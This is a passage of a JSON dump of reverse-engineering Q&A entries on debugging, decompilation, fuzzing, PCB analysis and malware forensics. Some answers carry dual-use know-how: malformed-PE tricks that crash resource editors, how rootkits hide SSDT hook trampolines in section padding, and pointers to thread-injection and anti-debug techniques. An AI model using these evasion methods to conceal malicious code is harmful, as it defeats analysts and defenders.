        "Answer": "<p><code>nt!IopLoadDriver</code> indirect call is used only for SERVICE_DEMAND start driver entry</p>\n\n<p>for boot loading drivers you would need to break on <code>nt!IopInitializeBuiltInDriver</code> indirect call as well</p>\n\n<p>you can see a short example on message #17 &amp; #18 in this link </p>\n\n<p><a href=\"http://www.osronline.com/showthread.cfm?link=231280\" rel=\"nofollow\">http://www.osronline.com/showthread.cfm?link=231280</a></p>\n\n<p>this is a dormant script (slightly edited to use gc (go from conditional instead of go as recommended ) that keeps waiting forever and will print out the !drvobj details\nwhen ever any driver is loaded in a kernel debugging session </p>\n\n<p>no word wraps the command should be in a single line</p>\n\n<pre><code>.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\\[*\\+*\\] nt!IopInitializeBuiltinDriver} ) {bu place \".printf  \\\"%msu\\\\n\\\", poi(esp+4);r $t0 = poi(esp); gu; !drvobj $t0 2;gc\"}\n.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\\[*\\+*\\] nt!IoploadDriver} ) {bu place \".printf  \\\"%msu\\\\n\\\", poi(esp+4);r $t1 = poi(esp); gu; !drvobj $t1 2;gc\"}\n</code></pre>\n\n<p>xp sp3 vm</p>\n\n<p>in a connected kd session \ndo <code>sxe ibp; .reboot</code> \nkd will request an initial break on rebooting (equivalent to /break switch in boot.ini)\nwhen broken \nrun this script</p>\n\n<pre><code>$$&gt;a&lt; \"thisscript.extension\"\n</code></pre>\n\n<p>in addition to printing all the system driver entry points and their driver objects</p>\n\n<p>if your application loads an additional driver their details will be printed too</p>\n\n<p>a sample output for sysinternals dbgview opened in the target vm </p>\n\n<p>the dbgv.sys entry point is called when you <code>check mark the enable kernel capture  (ctrl+k)</code></p>\n\n<pre><code>\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\DBGV\n*** ERROR: Module load completed but symbols could not be loaded for Dbgv.sys\nDriver object (ffbd6248) is for:\n \\Driver\\DBGV\nDriverEntry:   f6d89185 Dbgv\nDriverStartIo: 00000000 \nDriverUnload:  00000000 \nAddDevice:     00000000 \n\nDispatch routines:\n[00] IRP_MJ_CREATE                      f6d87168    Dbgv+0x1168\n[01] IRP_MJ_CREATE_NAMED_PIPE           804fa87e    nt!IopInvalidDeviceRequest\n[02] IRP_MJ_CLOSE                       f6d87168    Dbgv+0x1168\n[03] IRP_MJ_READ                        804fa87e    nt!IopInvalidDeviceRequest\n[04] IRP_MJ_WRITE                       804fa87e    nt!IopInvalidDeviceRequest\n[05] IRP_MJ_QUERY_INFORMATION           804fa87e    nt!IopInvalidDeviceRequest\n[06] IRP_MJ_SET_INFORMATION             804fa87e    nt!IopInvalidDeviceRequest\n[07] IRP_MJ_QUERY_EA                    804fa87e    nt!IopInvalidDeviceRequest\n[08] IRP_MJ_SET_EA                      804fa87e    nt!IopInvalidDeviceRequest\n[09] IRP_MJ_FLUSH_BUFFERS               804fa87e    nt!IopInvalidDeviceRequest\n[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804fa87e    nt!IopInvalidDeviceRequest\n[0b] IRP_MJ_SET_VOLUME_INFORMATION      804fa87e    nt!IopInvalidDeviceRequest\n[0c] IRP_MJ_DIRECTORY_CONTROL           804fa87e    nt!IopInvalidDeviceRequest\n[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804fa87e    nt!IopInvalidDeviceRequest\n[0e] IRP_MJ_DEVICE_CONTROL              f6d87168    Dbgv+0x1168\n[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804fa87e    nt!IopInvalidDeviceRequest\n[10] IRP_MJ_SHUTDOWN                    804fa87e    nt!IopInvalidDeviceRequest\n[11] IRP_MJ_LOCK_CONTROL                804fa87e    nt!IopInvalidDeviceRequest\n[12] IRP_MJ_CLEANUP                     804fa87e    nt!IopInvalidDeviceRequest\n[13] IRP_MJ_CREATE_MAILSLOT             804fa87e    nt!IopInvalidDeviceRequest\n[14] IRP_MJ_QUERY_SECURITY              804fa87e    nt!IopInvalidDeviceRequest\n[15] IRP_MJ_SET_SECURITY                804fa87e    nt!IopInvalidDeviceRequest\n[16] IRP_MJ_POWER                       804fa87e    nt!IopInvalidDeviceRequest\n[17] IRP_MJ_SYSTEM_CONTROL              804fa87e    nt!IopInvalidDeviceRequest\n[18] IRP_MJ_DEVICE_CHANGE               804fa87e    nt!IopInvalidDeviceRequest\n[19] IRP_MJ_QUERY_QUOTA                 804fa87e    nt!IopInvalidDeviceRequest\n[1a] IRP_MJ_SET_QUOTA                   804fa87e    nt!IopInvalidDeviceRequest\n[1b] IRP_MJ_PNP                         804fa87e    nt!IopInvalidDeviceRequest\n</code></pre>\n"
    },
    {
        "Id": "1383",
        "CreationDate": "2013-03-29T21:46:40.973",
        "Body": "<p>What are good anti-debug references for Windows which help with manual unpacking, emulating, or sandboxing?</p>\n",
        "Title": "What are good Windows anti-debug references?",
        "Tags": "|windows|anti-debugging|",
        "Answer": "<ul>\n<li>Peter Ferrie's <a href=\"http://pferrie.host22.com/papers/antidebug.pdf\">\u201cUltimate\u201d Anti-Debugging Reference</a> (PDF, 147 pages) contains <strong>many</strong> anti-debugs, whether they're hardware or API based...</li>\n<li>Walied Assar's <a href=\"http://waleedassar.blogspot.com/\">blog</a> shows his researches, which are focused on finding new anti-debugs.</li>\n</ul>\n\n<p>other (maybe redundant) resources:</p>\n\n<ul>\n<li>Nicolas Falli\u00e8re's <a href=\"http://www.symantec.com/connect/articles/windows-anti-debug-reference\">Windows Anti-Debug reference</a></li>\n<li>OpenRCE's <a href=\"http://www.openrce.org/reference_library/anti_reversing\">Anti Reverse Engineering Techniques Database</a></li>\n<li>Daniel Plohmann's <a href=\"https://bitbucket.org/fkie_cd_dare/simplifire.antire\">AntiRE</a></li>\n<li>Rodrigo Branco's <a href=\"http://research.dissect.pe/docs/blackhat2012-paper.pdf\">Scientific but Not Academical Overview of Malware Anti-Debugging, Anti-Disassembly and Anti-\nVM Technologies</a></li>\n<li>Mark Vincent Yason's <a href=\"http://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf\">Art Of Unpacking</a></li>\n</ul>\n"
    },
    {
        "Id": "1392",
        "CreationDate": "2013-03-30T02:30:22.320",
        "Body": "<p>Learning the GDB commands is on my bucket-list, but in the meantime is there a graphical debugger for *nix platforms that <strong>accepts</strong> Windbg commands, and has similar functionality?  For example, the ability to bring out multiple editable memory windows, automatically disassemble around an area while stepping, set disassembly flavor, and have a window with registers that have editable values?</p>\n",
        "Title": "Decent GUI for GDB",
        "Tags": "|debuggers|gdb|",
        "Answer": "<p>Frankly speaking... Nothing can really compare to the GDB itself. Just take the newest version, start it with <code>gdb-multiarch</code> <em>(GDB now has support for all architectures and you don't need any kind of GDB branch anymore)</em>.</p>\n<p>When GDB runs just load a file:</p>\n<pre><code>file &lt;some_file_with_gdb_symbols.elf&gt;\n</code></pre>\n<p>and connect to a running GDB server <em>(on port <code>:3333</code>)</em> - in my case Openocd that communicates with any kind of embedded board:</p>\n<pre><code>target extended-remote :3333\n</code></pre>\n<p>When the session starts type these commands taken directly from the newest GDB manual <em>(<a href=\"https://sourceware.org/gdb/current/onlinedocs/gdb.pdf\" rel=\"nofollow noreferrer\">link</a>, section 25)</em>:</p>\n<pre><code>tui enable\ntui new-layout mylayout {-horizontal {src 8 asm 2} 6 regs 4} 8 status 0 cmd 2\nlayout mylayout\nrefresh\nset tui border-kind space\nset tui tab-width 4\nset tui compact-source on\nwith pagination off -- focus cmd\n</code></pre>\n<blockquote>\n<p>Put these commands in a system wide GDB configuration file <code>/etc/gdb/gdbinit</code> and live happily ever after.</p>\n</blockquote>\n<p>After all is done you should end up with something like this:</p>\n<p><a href=\"https://i.stack.imgur.com/rsWqP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rsWqP.png\" alt=\"enter image description here\" /></a></p>\n<p>Extremely pleasing if you ask me. Especially with the newest GDB that now can stack windows horizontally (excluding <code>cmd</code> &amp; <code>status</code> where <code>cmd</code> can only be full width... oh why such limitations...) as can be seen from the command where I created my layout i.e. <code>mylayout</code>.</p>\n<p>All that I am missing is a window for monitoring variables, addresses or expressions which I would love to position on the right of <code>asm</code> window... GNU, I know you can do it!</p>\n"
    },
    {
        "Id": "1393",
        "CreationDate": "2013-03-30T02:34:20.290",
        "Body": "<p>I love using <a href=\"https://code.google.com/p/firmware-mod-kit/\" rel=\"noreferrer\">firmware-mod-kid</a> to modify SoHo router firmware.  The problem I encounter is that it often bloats the size of the image.  It appears this happens during the <code>mksquashfs</code> step.</p>\n\n<p>If I'm just unsquashing a filesystem and then resquashing it with the same compression, with no modifications, why is the resulting image larger than the original?</p>\n",
        "Title": "Firmware-Mod-Kit Increases Size",
        "Tags": "|firmware|",
        "Answer": "<p>There is possible padding, try adding the -nopad option, assuming that you are using the same compression method. </p>\n"
    },
    {
        "Id": "1395",
        "CreationDate": "2013-03-30T03:08:00.460",
        "Body": "<p>How do I debug an executable that uses TLS callbacks?  It's my understanding that these run before my debugger will attach.</p>\n",
        "Title": "Debugging EXE with TLS",
        "Tags": "|windows|dynamic-analysis|executable|",
        "Answer": "<p>If you are using IDA Pro, Ctrl-E (Windows shortcut <a href=\"https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf</a>) it will show you entry point. You can directly jump to Main/start function.</p>\n"
    },
    {
        "Id": "1397",
        "CreationDate": "2013-03-30T07:14:20.033",
        "Body": "<p>When compiling a division or modulo by a constant, my compiler (LLVM GCC) generates a series of instructions that I don't understand.</p>\n\n<p>When I compile the following minimal examples:</p>\n\n<pre><code>int mod7(int x) {\n    return x % 7;\n}\n\nint div7(int x) {\n    return x / 7;\n}\n</code></pre>\n\n<p>The following code is generated:</p>\n\n<pre><code>_mod7:\n    push   rbp\n    mov    rbp,rsp\n\n    mov    ecx,0x92492493\n    mov    eax,edi\n    imul   ecx\n    add    edx,edi\n    mov    eax,edx\n    shr    eax,0x1f\n    sar    edx,0x2\n    add    edx,eax\n    imul   ecx,edx,0x7\n    mov    eax,edi\n    sub    eax,ecx\n\n    pop    rbp\n    ret    \n\n\n_div7:\n    push   rbp\n    mov    rbp,rsp\n\n    mov    ecx,0x92492493\n    mov    eax,edi\n    imul   ecx\n    add    edx,edi\n    mov    ecx,edx\n    shr    ecx,0x1f\n    sar    edx,0x2\n    mov    eax,edx\n    add    eax,ecx\n\n    pop    rbp\n    ret\n</code></pre>\n\n<ul>\n<li>How is this mathematically equivalent, and where do the constants come from?</li>\n<li>What's the easiest way to turn the assembly back in to C (for arbitrary constants on the right-hand side)?</li>\n<li>How could a tool, such as a decompiler or analysing disassembler, automate this process?</li>\n</ul>\n",
        "Title": "How can I reverse optimized integer division/modulo by constant operations?",
        "Tags": "|disassembly|static-analysis|",
        "Answer": "<p>This paper might be of interest: <a href=\"https://gmplib.org/~tege/divcnst-pldi94.pdf\" rel=\"nofollow noreferrer\">Division by invariant multiplication</a>.</p>\n\n<p>Bumped into this <a href=\"https://stackoverflow.com/questions/30790184/perform-integer-division-using-multiplication\">here</a>.</p>\n"
    },
    {
        "Id": "1399",
        "CreationDate": "2013-03-30T08:03:51.863",
        "Body": "<p>There are variety of tools that allow editing the resources of Windows executables.\nThese tools allow a very easy interface for changing the programs look and feel.\nReplacing icons, text, menus can be easily done without any knowledge in reversing.</p>\n\n<p>My question is, what option I have to prevent the resources being so easily edited ?</p>\n",
        "Title": "How to prevent use of Resource editors",
        "Tags": "|windows|pe-resources|",
        "Answer": "<p>Also, we can exploit bugs in the editors themselves to prevent tampering with our resources.\nThe interesting part here is that most Resource Editors have no idea how to parse non-typical (not very non-typical) PE files. For example, Some editors assume the resource section name must always be <code>.rsrc</code>. Examples:</p>\n\n<ol>\n<li><p><a href=\"http://www.angusj.com/resourcehacker/\">Resource Hacker</a></p>\n\n<ul>\n<li><p>Inserting a special resource to cause Resource Hacker to go into an infinite loop. Demo here : <a href=\"http://code.google.com/p/ollytlscatch/downloads/detail?name=antiResHacker.exe\">http://code.google.com/p/ollytlscatch/downloads/detail?name=antiResHacker.exe</a></p></li>\n<li><p>Inserting a special <code>RT_STRING</code> resource to cause Resource Hacker to crash.</p></li>\n<li><p>It assumes the size of the <code>IMAGE_OPTIONAL_HEADER</code> structure is assumed to be <code>sizeof(IMAGE_OPTIONAL_HEADER)</code>, currently <code>0xE0</code> in hex, while it can even be greater. Having the size to be of a greater value causes Resource Hacker to discard the whole PE file.</p></li>\n</ul></li>\n<li><p><a href=\"http://www.bome.com/products/restorator\">Restorator</a></p>\n\n<ul>\n<li>Same as 1c.</li>\n<li>Uses the <code>NumberOfRvaAndSizes</code> field, which can easily be forged to be <code>0xFFFFFFFF</code>. This causes Restorator to discard the whole PE file.</li>\n<li>Assumes the resource section name must be <code>.rsrc</code>. Change it anything else. This causes Restorator to discard the whole PE.</li>\n<li>Any resource Section with the <code>Characteristics</code> field set to <code>IMAGE_SCN_CNT_UNINITIALIZED_DATA</code> among other characteristics will be discarded by Restorator. </li>\n</ul>\n\n<p>Demos here : <a href=\"http://pastebin.com/ezsDCaud\">http://pastebin.com/ezsDCaud</a></p></li>\n</ol>\n"
    },
    {
        "Id": "1405",
        "CreationDate": "2013-03-30T19:58:10.487",
        "Body": "<p>Let's say I'd like to begin fuzzing Acme Corp's PDF Reader.  I'd like to try to follow what Miller <a href=\"http://fuzzinginfo.files.wordpress.com/2012/05/cmiller-csw-2010.pdf\">did</a> by downloading a bunch of benign PDFs and mutate them.  </p>\n\n<p>Miller began by reducing his corpus of PDF samples to a minimum by pruning samples that had similar code coverage.</p>\n\n<p>How is that specific step done?  That is, how did he determine what was a similar code coverage? </p>\n\n<p>I can imagine a tool that traces execution and records JMP/CALLs to get an execution graph, and I suppose you could diff those graphs.  But what about JIT code?  Wouldn't those graphs be very different since the JIT would likely be in different locations in memory?</p>\n",
        "Title": "How do I determine code coverage when fuzzing",
        "Tags": "|tools|fuzzing|",
        "Answer": "<p>Not sure how it fares against application with JIT compiled code, but peach has a <a href=\"http://peachfuzzer.com/v3/minset.html\">minset</a> utility to make a minimal set of files with highest code coverage:</p>\n\n<blockquote>\n  <p>This tool will run each sample file through a target program and determine code coverage. It will then find the least number of files needed to cover the most code. This will be the minimum set of files that should be used when fuzzing.</p>\n</blockquote>\n\n<p>But as far as I can see it uses the method you proposed, monitoring hits of all basic blocks of the application. It uses a pintool to do this. </p>\n"
    },
    {
        "Id": "1414",
        "CreationDate": "2013-03-31T01:32:02.497",
        "Body": "<p>Much reverse engineering has been done on Windows over the years leading to great undocumented functionality, such as using <code>NtCreateThreadEx</code> to <a href=\"http://securityxploded.com/ntcreatethreadex.php\">inject</a> threads across sessions.  </p>\n\n<p>On OSX the topic of thread injection seems relatively uncharted.  With the operating system being so incredibly large, where can I begin looking in order to uncover the functionality I desire?</p>\n\n<p>For example, if someone were to ask me this about Windows, I would expect an answer telling me to begin reverse engineering <code>CreateRemoteThread</code> or to start looking at how the kernel creates user threads and point them into <code>ntoskrnl.exe</code>.</p>\n",
        "Title": "Thread Injection on OSX",
        "Tags": "|osx|",
        "Answer": "<p>You might find this useful -- I ended up writing a tutorial about this recently, since, as you note, documentation for this stuff is always so sketchy and often out of date.</p>\n\n<p><a href=\"http://soundly.me/osx-injection-override-tutorial-hello-world/\" rel=\"nofollow\">http://soundly.me/osx-injection-override-tutorial-hello-world/</a></p>\n"
    },
    {
        "Id": "1420",
        "CreationDate": "2013-03-31T02:48:00.997",
        "Body": "<p>I understand that on x86, <code>INT 1</code> is used for single-stepping and <code>INT 3</code> is used for setting breakpoints, and some other interrupt (usually 0x80 for Linux and 0x2E for Windows) used to be used for system calls.  </p>\n\n<p>If a piece of malware hooks the Interrupt Descriptor Table (IDT) and substitutes its own <code>INT 1</code> and <code>INT 3</code> handlers that perform system call-like functionality, how can I use a debugger to trace its execution?  Or am I stuck with using static-analysis tools?</p>\n",
        "Title": "Malware Hooking INT 1 and INT 3",
        "Tags": "|malware|debuggers|dynamic-analysis|kernel-mode|",
        "Answer": "<p>I would suggest this as a solution <a href=\"http://accessroot.com/arteam/site/download.php?view.185\">http://accessroot.com/arteam/site/download.php?view.185</a> as I had similar problem in one of crackmes. What I did was to write my own hooks for SoftICE to bypass ring0 hooks of int 3 and int 1. Could be useful for your problem. Interesting section is \"SoftICE comes to the rescue\".</p>\n"
    },
    {
        "Id": "1423",
        "CreationDate": "2013-03-31T03:12:12.127",
        "Body": "<p>I'm analyzing some software that appears to encrypt its communications over the network, but it does not appear to be SSL.  How can I easily determine what encryption algorithm its using, and maybe find the key?</p>\n",
        "Title": "Determine Encryption Algorithm",
        "Tags": "|tools|cryptography|",
        "Answer": "<p>A nice combination of findcrypt2 by HexRays and the work done by Felix Gr\u00f6bert is <a href=\"https://bitbucket.org/daniel_plohmann/simplifire.idascope\">IDAScope</a>. It's very useful for searching for and identifying encryption algorithms. For more information on IDAScope's Crypto Identification I'd recommend the following <a href=\"http://pnx-tf.blogspot.com/2012/08/idascope-update-crypto-identification.html\">link</a>. </p>\n"
    },
    {
        "Id": "1428",
        "CreationDate": "2013-03-31T08:27:00.800",
        "Body": "<p>LLVM IR is a fairly high-level, typed bitcode which can be directly executed by LLVM and compiled to JIT on the fly. It would not surprise me if a new executable format or programming language was designed directly on top of LLVM, to be executed as if it were an interpreted language.</p>\n\n<p>In this regard, I am curious as to the state of the art on LLVM decompilation. Because it is a typed bitcode specifically designed to be easy to analyze, one might expect that it is relatively easy to decompile (or at least reassemble into a more readable or logical form).</p>\n\n<p>Googling turns up <a href=\"http://www.cdl.uni-saarland.de/publications/theses/moll_bsc.pdf\">this BSc thesis</a> which does a relatively rudimentary job, but seemingly few other leads. I might have expected this <a href=\"http://www.cdl.uni-saarland.de/people/hack/publications.php\">fellow's supervisor</a> to have done some further research in this area, but it seems his focus is more towards the compiler design area of research.</p>\n\n<p>Are there research projects, commercial prototypes, or even any kinds of active research being done in the field of LLVM decompilation?</p>\n",
        "Title": "What is the state of art in LLVM IR decompilation?",
        "Tags": "|decompilation|llvm|",
        "Answer": "<p>It's extremely easy to decompile. LLVM for a long time shipped with a CBackend that would convert LLVM into C. </p>\n\n<p>The LLVM that is created by todays frontends (clang) is very amenable to any kind of analysis and understanding that you can think of. So you can probably just use normal LLVM tools (opt, llc) to \"decompile\" the IR. I find LLVM IR quite readable on its own, but I'm strange. </p>\n\n<p>However, just like compilation of C to assembler, some information is lost or destroyed. Structure field names are gone, forever replaced with indexes. Their types remain though. Control flow, as a concept, remains, there is no confusion of code and data, but functions can be removed because they are dead or inlined. I believe enum values are removed as well. Parameter information to function remains, as do the types of global variables. </p>\n\n<p>There actually is a decent <a href=\"http://lists.cs.uiuc.edu/pipermail/llvmdev/2011-October/043719.html\">post</a> where an LLVM contributor outlines pitfalls and problems with using their bitcode format in the manner that you suggest. Many people seem to have listened to him, so I'm not sure if we'll ever need to move beyond the tools we currently have for understanding LLVM bitcode...</p>\n"
    },
    {
        "Id": "1440",
        "CreationDate": "2013-04-01T13:14:19.190",
        "Body": "<p>I have found a multilayer PCB of which I need to draw the circuit. At first, I tried to find the circuit on the internet using part numbers, but I did not get any result. The PCB is from a very old alarm installation.</p>\n\n<p>Are there any tools or techniques I can use to get to know the structure of the layers I can't see?</p>\n",
        "Title": "Draw circuit of a multilayer PCB",
        "Tags": "|tools|pcb|",
        "Answer": "<p>There are <a href=\"http://www.pcbreverseengineering.com/\" rel=\"nofollow\">comprehensive tools</a> that can do precisely this. Part of the software that comes with them allows you to place part numbers between pads and have the circuit diagram automatically generated for you. Unfortunately, they're likely to set you back a fair bit of cash.</p>\n\n<p>An alternative is to use corrosives and sharp implements to manually split the layers, but that's difficult and prone to mistakes. If you've got a number of boards you can destroy in the process, this is probably the cheapest option.</p>\n"
    },
    {
        "Id": "1445",
        "CreationDate": "2013-04-01T17:53:15.223",
        "Body": "<p>I have seen mentions of SoftICE on various questions throughout this site. However, the <a href=\"http://en.wikipedia.org/wiki/SoftICE\">Wikipedia article</a> on SoftICE implies that the tool is abandoned.  Searching google, I see many links claiming to be downloads for SoftICE, but they seem to have questionable origins and intent.  </p>\n\n<p>Is there an official website where I can purchase and download SoftICE, or an official MD5 of a known SoftICE installer?</p>\n",
        "Title": "How do I acquire SoftICE?",
        "Tags": "|tools|debuggers|softice|",
        "Answer": "<p>After buying NuMega technologies in 1997, Compuware seemed to feel that SoftICE was a liability, both technically and legally (as the #1 hacker tool of the time), and that may have played into why they discontinued support.  SoftICE required constant updates in order to continue working against the various updates of Windows that were coming out, and there were only a couple of people who knew how to make those updates.  In 2007, they closed down the NuMega office in Nashua, NH, and moved all the intellectual property to Compuware's headquarters (then in Detroit, MI).  The product line that included all that stuff was sold off to MicroFocus in 2009, along with the remaining developers, none of which knew a thing about building SoftICE, let alone updating it to work with updated versions of Windows.  We toyed with resurrecting the product around 2011, but could not get management to buy off on it, so it didn't happen.</p>\n\n<p>The source code remains in its own stasis box (a source control database), and will likely never go anywhere from there.</p>\n\n<p><strong>Disclaimer:</strong> I work for MicroFocus, and currently maintain the formerly NuMega product \"DevPartner Studio\", the BoundsChecker portion in particular.</p>\n"
    },
    {
        "Id": "1460",
        "CreationDate": "2013-04-01T21:24:22.093",
        "Body": "<p>I'm trying to reverse engineer some boards that have multiple layers, but can't figure out any way of discovering which layer certain vias go to. Unfortunately I can't destroy the board with corrosives, since it's my only one. How can I find out how deep they go?</p>\n",
        "Title": "How can I work out which PCB layer a via goes to, without destroying the board?",
        "Tags": "|hardware|pcb|",
        "Answer": "<p>You would probably need some <a href=\"http://www.pcbreverseengineering.com/\" rel=\"noreferrer\">expensive scanning equipment</a>. It is possible  you could get old equipment that is being discarded but that would be rather difficult. Then you would probably need to write software to handle the output of the equipment as you most likely wouldn't have a license for the accompaning software unless you nabbed a complete system intact.</p>\n\n<p>If you were willing to forgo saving the original PCB you could do <a href=\"http://www.flexiblecircuitpcb.com/blog/pcb-copy-board-methods-and-steps.html\" rel=\"noreferrer\">this</a>. Basically carefully note component positions, remove the parts, scan both sides, clean up scans with image tool, then repeat removing layers of the board as you go... sounds quite error prone to me.</p>\n\n<p>It is also possible you could figure out a few by checking exhaustivly if some groups  of pins go to the same layer... you could probably assume those were power/ground pins.</p>\n\n<p>Another thing that may help is if the board is designed to support <a href=\"http://people.ee.duke.edu/~krish/teaching/ECE269/boundaryscan_tutorial.pdf\" rel=\"noreferrer\">boundary scan</a> testing. If I understand correctly you might be able to use that to automate detecting connecitons between chips if not which layer they are on. And here is a <a href=\"http://events.ccc.de/congress/2009/Fahrplan/attachments/1435_JTAG.pdf\" rel=\"noreferrer\">PDF on that topic</a>.</p>\n"
    },
    {
        "Id": "1461",
        "CreationDate": "2013-04-01T21:56:28.287",
        "Body": "<p>The <a href=\"http://en.wikipedia.org/wiki/System_Service_Dispatch_Table\">SSDT</a> is a dispatch table inside the Windows NT kernel, and it is used for handling calls to various internal kernel APIs. Often malware will change addresses in the SSDT in order to hook certain kernel functions. Spotting this kind of thing in a memory dump would be awesome, because it would allow me to identify potential rootkits. Is there a way to reliably detect them? What kind of memory dump is required?</p>\n",
        "Title": "Is there an easy way to detect if the SSDT has been patched from a memory dump?",
        "Tags": "|windows|malware|",
        "Answer": "<p>No <em>absolutely reliable</em> way, no.</p>\n\n<p>Either way you'll need a full dump, but the problem is that malware could even hook the responsible functions inside the kernel and modify <em>what</em> gets dumped. There are several things that have to be considered here.</p>\n\n<p>You <em>can</em> detect it if the malware used a trivial method for hooking in the first place. Let's assume the address was replaced by one to a trampoline or to inside another loaded image (or even outside one just in nonpaged pool), then you can <em>easily detect</em> it. You can simply enumerate all the modules and attempt to find the one inside which the address from inside the SSDT points. In case of a trampoline you'll have to disassemble the instructions there to see where it jumps/calls. There are plenty of libraries out there for the purpose, such as <a href=\"http://udis86.sourceforge.net/\"><code>udis86</code></a>.</p>\n\n<p>However, if a malware is sneaky, it could use the natural gaps inside an executable (such as the kernel) when loaded into memory. As you probably know, the way a PE file (such as <code>ntoskrnl.exe</code> and friends) is represented differently on disk and in memory. The on-disk file format is more terse. Loaded into memory, the sections are aligned in a particular way described in the PE header. This way gaps will likely exist between the real size of a section (end) and the properly aligned section size (\"padding\"). This leaves place to <em>hide</em> something like a trampoline or even more shell code than a simple trampoline. So a naive check such as the above - i.e. enumerating modules and checking whether the SSDT functions point inside the kernel image - will not work. It would get bypassed by malware sophisticated enough to do what I just described.</p>\n\n<p>As you can imagine, this means that things - as all things malware/anti-malware - quickly becomes an arms race. What I would strongly suggest is that you attach a kernel debugger (<code>WinDbg</code> via Firewire comes to mind) and keep the infected (or allegedly infected) machine in limbo while you investigate. While you are connected and broke into the debugger, the debuggee can't do anything. This can be used to debug a system live and - assuming the malware wasn't sneaky enough to also manipulate <code>kdcom</code> - to gain valuable metrics - it can also be used to create a crashdump directly (see WinDbg help). If you have conclusive evidence that a machine is infected, due to symptoms it exhibits, odds are the malware isn't all too sophisticated and you will not have to care about the special case I outlined. However, keep in mind that this special case can only be considered <em>one</em> out of many conceivable cases used to hide. So long story short: there is no <em>absolutely reliable</em> way to do what you want.</p>\n\n<p>It has sometimes been said - and it's true - that the attacker just needs to find one out of an infinite number of attack vectors, whereas the defender can only defend a finite number of <em>known</em> attack vectors. The lesson from this should be that we - as anti-malware industry (in which I work) - can always claim that <em>we</em> didn't find anything on the system, but that it is wrong to claim that the system is clean.</p>\n\n<hr>\n\n<h2>How to deliberately cause a BSOD</h2>\n\n<p>The keyboard driver(s) can be told to cause a BSOD:</p>\n\n<pre><code>HKLM\\CurrentControlSet\\Services\\kbdhid\\Parameters\n</code></pre>\n\n<p>or (for older PS/2 keyboards)</p>\n\n<pre><code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters\n</code></pre>\n\n<p>And there set a <code>REG_DWORD</code> named <code>CrashOnCtrlScroll</code> to <code>1</code>.</p>\n\n<p>After the next reboot you can force the blue screen by <kbd>Ctrl</kbd>+<kbd>ScrollLk</kbd>+<kbd>ScrollLk</kbd>. The bug check code will in this case be <code>0xE2</code> (<code>MANUALLY_INITIATED_CRASH</code>).</p>\n\n<hr>\n\n<p>Side-note: I have also read, but never seen it in a kernel debugging session myself or in any kind of FLOSS implementation, that some method tries to re-load the kernel from the image on disk and run it through the early initialization steps, thereby creating a \"shadow\" SSDT. This one would then be pristine and could be used to \"unhook\" everything in one fell swoop from the original SSDT. Again, haven't seen this implemented, but from my knowledge of the internals it seems a possibility. Of course this plays more with the idea of detecting/unhooking a rootkit's functions than it does with your original intention of getting a memory dump of an infected system.</p>\n"
    },
    {
        "Id": "1463",
        "CreationDate": "2013-04-01T22:49:19.713",
        "Body": "<p>I know there are tools for identifying common ciphers and hash algorithms in code, but are there any similar scripts / tools / plugins for common compression algorithms such as gzip, deflate, etc? Primarily aimed at x86 and Windows, but answers for other platforms are welcomed too.</p>\n\n<p>Note that I'm looking to find <em>code</em>, not <em>data</em>.</p>\n",
        "Title": "Are there any tools or scripts for identifying compression algorithms in executables?",
        "Tags": "|tools|windows|x86|",
        "Answer": "<p>If a binary uses deflate or gzip (which uses deflate), the code is generally linked in as a library and thus easy to detect based on string artifacts. This can certainly be automated, e.g., you could simply search for the respective strings. Manually matching functions against the source code is a somewhat tedious process, but it usually works nicely. The process is much more difficult for less common algorithms or when you don't have any artifacts. In that case you have to identify the algorithm by its semantics (things like word size, constants, data structures may provide hints).</p>\n\n<p>In addition to the already mentioned FLIRT signatures: If you use IDA Pro with the Hex-Rays plugin and you are lucky, you may be able to find an algorithm on <a href=\"http://crowd.re\" rel=\"nofollow\">http://crowd.re</a>. There are a few annotations for compression algorithms available. Apart from that, I am not aware of any tools or scripts that do what you want.</p>\n"
    },
    {
        "Id": "1471",
        "CreationDate": "2013-04-02T05:31:36.057",
        "Body": "<p>Is there any way to leave 2D flow chart graphs and go to 3D model?\nI mean something like that:</p>\n\n<p>Usual 2D graph:\n<img src=\"https://i.stack.imgur.com/uHTxH.png\" alt=\"2D graph\"> </p>\n\n<p>3D graph:\n<img src=\"https://i.stack.imgur.com/qMhs1.png\" alt=\"3D graph\"></p>\n\n<p>The only one solution I've seen is using UbiGraph + Linux on VM (to use UbiGraph) + some X-server for Win (the process of making all that stuff to work is described at Cr4sh's blog). That's kinda perverted solution, up to me. </p>\n\n<p>Also it would be brilliant if there could be displayed disasm in nodes, like in ordinary 2D IDA graphs.</p>\n\n<p>Perhaps there are some more elegant solutions?</p>\n",
        "Title": "3D control-flow graphs in IDA",
        "Tags": "|disassembly|ida|",
        "Answer": "<p>By default, IDA generates graphs in GDL (WinGraph) format, but you can switch it to DOT which is supported by GraphViz and some other tools. It seems <a href=\"http://gephi.org/2010/new-graphviz-dot-csv-and-ucinet-formats/\">Gephi</a> can do 3D.</p>\n\n<p>See <code>GRAPH_FORMAT</code> and <code>GRAPH_VISUALIZER</code> in <code>ida.cfg</code>.</p>\n"
    },
    {
        "Id": "1475",
        "CreationDate": "2013-04-02T09:35:57.497",
        "Body": "<p>I would like to know what are the basic principles (and maybe a few things about the optimizations and heuristics) of the <a href=\"http://www.zynamics.com/bindiff.html\">BinDiff software</a>. Does anyone have a nice and pedagogic explanation of it?</p>\n",
        "Title": "How does BinDiff work?",
        "Tags": "|tools|tool-bindiff|",
